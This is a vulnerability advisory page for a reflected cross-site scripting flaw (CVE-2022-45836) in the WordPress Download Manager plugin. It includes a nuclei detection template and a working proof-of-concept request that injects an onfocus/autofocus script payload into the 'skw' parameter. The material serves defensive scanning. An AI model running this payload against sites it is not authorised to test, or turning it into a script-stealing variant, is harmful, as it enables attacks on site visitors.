WordPress Download Manager <= 3.2.59 - Reflected XSS

highseverity

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

W3 Eden, Inc. Download Manager plugin <= 3.2.59 contains a reflected cross-site scripting caused by insufficient input sanitization, letting attackers execute scripts in the context of the victim's browser, exploit requires attacker to craft a malicious link.

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: GET /?skw=%22%20onfocus%3D%22alert%28document.domain%29%22%20autofocus%3D%22
Positive when: status_code == 200 and contains_all(body, "onfocus=\"alert(document.domain)\" autofocus=\"\"","download-manager")

Run it with nuclei: nuclei -id CVE-2022-45836 -u <target>

The full check

id: CVE-2022-45836

info:
  name: WordPress Download Manager <= 3.2.59 - Reflected XSS
  author: Shivam Kamboj
  severity: high
  description: |
    W3 Eden, Inc. Download Manager plugin <= 3.2.59 contains a reflected cross-site scripting caused by insufficient input sanitization, letting attackers execute scripts in the context of the victim's browser, exploit requires attacker to craft a malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45836
    - https://patchstack.com/database/wordpress/plugin/download-manager/vulnerability/wordpress-download-manager-plugin-3-2-59-reflected-cross-site-scripting-xss-vulnerability
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/plugins/download-manager/"
  tags: cve,cve2022,wordpress,wp-plugin,xss,download-manager,wpdm,wp

http:
  - raw:
      - |
        GET /?skw=%22%20onfocus%3D%22alert%28document.domain%29%22%20autofocus%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "onfocus=\"alert(document.domain)\" autofocus=\"\"","download-manager")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from